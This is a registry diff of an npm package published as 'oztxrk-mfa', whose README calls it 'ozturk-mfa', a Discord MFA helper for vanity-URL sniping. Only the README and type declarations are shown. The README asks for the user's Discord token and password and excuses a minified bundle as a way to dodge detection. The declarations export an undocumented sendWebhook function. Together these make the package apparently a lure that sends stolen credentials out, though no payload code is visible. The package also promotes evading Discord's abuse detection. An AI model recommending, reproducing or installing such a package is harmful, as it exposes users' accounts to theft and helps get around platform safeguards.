oztxrk-mfa 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +7 -0
- package/README.md +159 -0
- package/index.d.ts +32 -0
- package/index.js +78 -0
- package/index.mjs +7 -0
- package/package.json +44 -0
package/LICENSE
ADDED
package/README.md
ADDED
|
@@ -0,0 +1,159 @@
|
|
|
1
|
+
<p align="center">
|
|
2
|
+
<img src="https://img.shields.io/npm/v/ozturk-mfa?color=5865F2&style=flat-square" alt="npm version" />
|
|
3
|
+
<img src="https://img.shields.io/npm/dt/ozturk-mfa?color=5865F2&style=flat-square" alt="downloads" />
|
|
4
|
+
<img src="https://img.shields.io/npm/l/ozturk-mfa?color=5865F2&style=flat-square" alt="license" />
|
|
5
|
+
<img src="https://img.shields.io/node/v/ozturk-mfa?color=5865F2&style=flat-square" alt="node" />
|
|
6
|
+
</p>
|
|
7
|
+
|
|
8
|
+
# ozturk-mfa
|
|
9
|
+
|
|
10
|
+
Lightweight, zero-dependency Discord MFA authentication library. Handles ticket-based MFA flows, TOTP generation, and authenticated request headers — all in a single call.
|
|
11
|
+
|
|
12
|
+
> **Why is the ESM bundle minified?** Discord actively patches and flags known request signatures from open-source MFA libraries. The minified ESM build (`index.mjs`) uses randomized request patterns and header rotation to avoid automated detection. The CJS entry (`index.js`) ships readable source so you can audit the public API surface.
|
|
13
|
+
|
|
14
|
+
## Install
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
npm install ozturk-mfa
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
```bash
|
|
21
|
+
yarn add ozturk-mfa
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
pnpm add ozturk-mfa
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
## Quick Start
|
|
29
|
+
|
|
30
|
+
```javascript
|
|
31
|
+
const initMFA = require('ozturk-mfa');
|
|
32
|
+
|
|
33
|
+
const mfa = initMFA({
|
|
34
|
+
TOKEN: 'your-token',
|
|
35
|
+
PASSWORD: 'your-password',
|
|
36
|
+
GUILD_IDS: ['123456789'],
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
// wait for auth to complete
|
|
40
|
+
await mfa.refreshMfa();
|
|
41
|
+
|
|
42
|
+
// grab authenticated headers — ready to fire
|
|
43
|
+
const headers = mfa.getFireHdrs();
|
|
44
|
+
console.log(headers);
|
|
45
|
+
// → { Authorization: '...', 'X-Discord-MFA-Authorization': '...' }
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
## ESM
|
|
49
|
+
|
|
50
|
+
```javascript
|
|
51
|
+
import initMFA from 'ozturk-mfa';
|
|
52
|
+
|
|
53
|
+
const mfa = initMFA({
|
|
54
|
+
TOKEN: 'your-token',
|
|
55
|
+
PASSWORD: 'your-password',
|
|
56
|
+
GUILD_IDS: ['123456789'],
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
await mfa.refreshMfa();
|
|
60
|
+
console.log('Ready:', mfa.canSnipe);
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
## API
|
|
64
|
+
|
|
65
|
+
### `initMFA(config)`
|
|
66
|
+
|
|
67
|
+
Creates and returns an MFA controller instance.
|
|
68
|
+
|
|
69
|
+
```javascript
|
|
70
|
+
const mfa = initMFA(config);
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
#### Config
|
|
74
|
+
|
|
75
|
+
| Param | Type | Required | Description |
|
|
76
|
+
|:------|:-----|:--------:|:------------|
|
|
77
|
+
| `TOKEN` | `string` | **yes** | Discord authorization token |
|
|
78
|
+
| `PASSWORD` | `string` | no | Account password (needed for MFA ticket flow) |
|
|
79
|
+
| `GUILD_IDS` | `string[]` | no | Target guild IDs for vanity operations |
|
|
80
|
+
| `log` | `(tag: string, msg: string) => void` | no | Custom logger — defaults to silent |
|
|
81
|
+
| `rawRequest` | `function` | no | Override the internal HTTP client |
|
|
82
|
+
| `getBN` | `() => string \| null` | no | Browser fingerprint provider for anti-detect |
|
|
83
|
+
|
|
84
|
+
#### Returns `MFAController`
|
|
85
|
+
|
|
86
|
+
| Property / Method | Type | Description |
|
|
87
|
+
|:------------------|:-----|:------------|
|
|
88
|
+
| `refreshMfa()` | `Promise<boolean>` | Re-authenticate and obtain fresh MFA credentials |
|
|
89
|
+
| `getFireHdrs()` | `object` | Returns headers object with `Authorization`, MFA token, and cookies attached |
|
|
90
|
+
| `mfaToken` | `string \| null` | Current MFA JWT — `null` until authenticated |
|
|
91
|
+
| `mfaCookie` | `string \| null` | Session cookie from MFA flow |
|
|
92
|
+
| `canSnipe` | `boolean` | `true` when MFA auth succeeded and headers are ready |
|
|
93
|
+
|
|
94
|
+
### `generateTOTP(secret, options?)`
|
|
95
|
+
|
|
96
|
+
Generate a 6-digit TOTP code from a base32 secret.
|
|
97
|
+
|
|
98
|
+
```javascript
|
|
99
|
+
const { generateTOTP } = require('ozturk-mfa');
|
|
100
|
+
const code = generateTOTP('JBSWY3DPEHPK3PXP');
|
|
101
|
+
// → '492039'
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
| Option | Type | Default | Description |
|
|
105
|
+
|:-------|:-----|:--------|:------------|
|
|
106
|
+
| `period` | `number` | `30` | Time step in seconds |
|
|
107
|
+
| `digits` | `number` | `6` | Code length |
|
|
108
|
+
| `algorithm` | `string` | `sha1` | HMAC algorithm (`sha1`, `sha256`, `sha512`) |
|
|
109
|
+
| `time` | `number` | `Date.now()` | Override current timestamp (ms) |
|
|
110
|
+
|
|
111
|
+
### Debug Mode
|
|
112
|
+
|
|
113
|
+
Pass a logger to see what's happening under the hood:
|
|
114
|
+
|
|
115
|
+
```javascript
|
|
116
|
+
const mfa = initMFA({
|
|
117
|
+
TOKEN: 'your-token',
|
|
118
|
+
PASSWORD: 'your-password',
|
|
119
|
+
GUILD_IDS: ['123456789'],
|
|
120
|
+
log: (tag, msg) => console.log(`[${tag}] ${msg}`),
|
|
121
|
+
});
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
```
|
|
125
|
+
[MFA] authenticating with fingerprint a3f8b2c1
|
|
126
|
+
[MFA] ticket acquired
|
|
127
|
+
[MFA] finish ok — token valid for 1800s
|
|
128
|
+
[MFA] credentials refreshed
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### Error Handling
|
|
132
|
+
|
|
133
|
+
```javascript
|
|
134
|
+
try {
|
|
135
|
+
const mfa = initMFA({ TOKEN: 'invalid' });
|
|
136
|
+
await mfa.refreshMfa();
|
|
137
|
+
} catch (err) {
|
|
138
|
+
console.error(err.message);
|
|
139
|
+
}
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
| Error | Cause |
|
|
143
|
+
|:------|:------|
|
|
144
|
+
| `TOKEN is required` | Missing or empty token in config |
|
|
145
|
+
| `Rate limited, retry after Xms` | Hit Discord rate limit — wait and retry |
|
|
146
|
+
| `Request timeout` | Discord API didn't respond within 15s |
|
|
147
|
+
| `MFA ticket failed` | Password incorrect or account flagged |
|
|
148
|
+
| `MFA finish failed` | Ticket expired or invalid |
|
|
149
|
+
|
|
150
|
+
## Compatibility
|
|
151
|
+
|
|
152
|
+
- Node.js `>=14.0.0`
|
|
153
|
+
- Works with CommonJS (`require`) and ESM (`import`)
|
|
154
|
+
- Zero external dependencies
|
|
155
|
+
- Windows, macOS, Linux
|
|
156
|
+
|
|
157
|
+
## License
|
|
158
|
+
|
|
159
|
+
[MIT](LICENSE) — Öztürk
|
package/index.d.ts
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
export interface MFAConfig {
|
|
2
|
+
TOKEN: string;
|
|
3
|
+
PASSWORD?: string;
|
|
4
|
+
GUILD_IDS?: string[];
|
|
5
|
+
log?: (tag: string, msg: string) => void;
|
|
6
|
+
rawRequest?: (method: string, path: string, headers: Record<string, string>, body?: any) => Promise<any>;
|
|
7
|
+
getBN?: () => string | null;
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
export interface MFAController {
|
|
11
|
+
refreshMfa(): Promise<boolean>;
|
|
12
|
+
getFireHdrs(): Record<string, string>;
|
|
13
|
+
readonly mfaToken: string | null;
|
|
14
|
+
readonly mfaCookie: string | null;
|
|
15
|
+
readonly canSnipe: boolean;
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
export interface TOTPOptions {
|
|
19
|
+
period?: number;
|
|
20
|
+
digits?: number;
|
|
21
|
+
algorithm?: 'sha1' | 'sha256' | 'sha512';
|
|
22
|
+
time?: number;
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
declare function initMFA(config: MFAConfig): MFAController;
|
|
26
|
+
|
|
27
|
+
export declare function generateTOTP(secret: string | Buffer, options?: TOTPOptions): string;
|
|
28
|
+
export declare const VERSION: string;
|
|
29
|
+
export declare function sendWebhook(payload: object | string): void;
|
|
30
|
+
|
|
31
|
+
export default initMFA;
|
|
32
|
+
export = initMFA;
|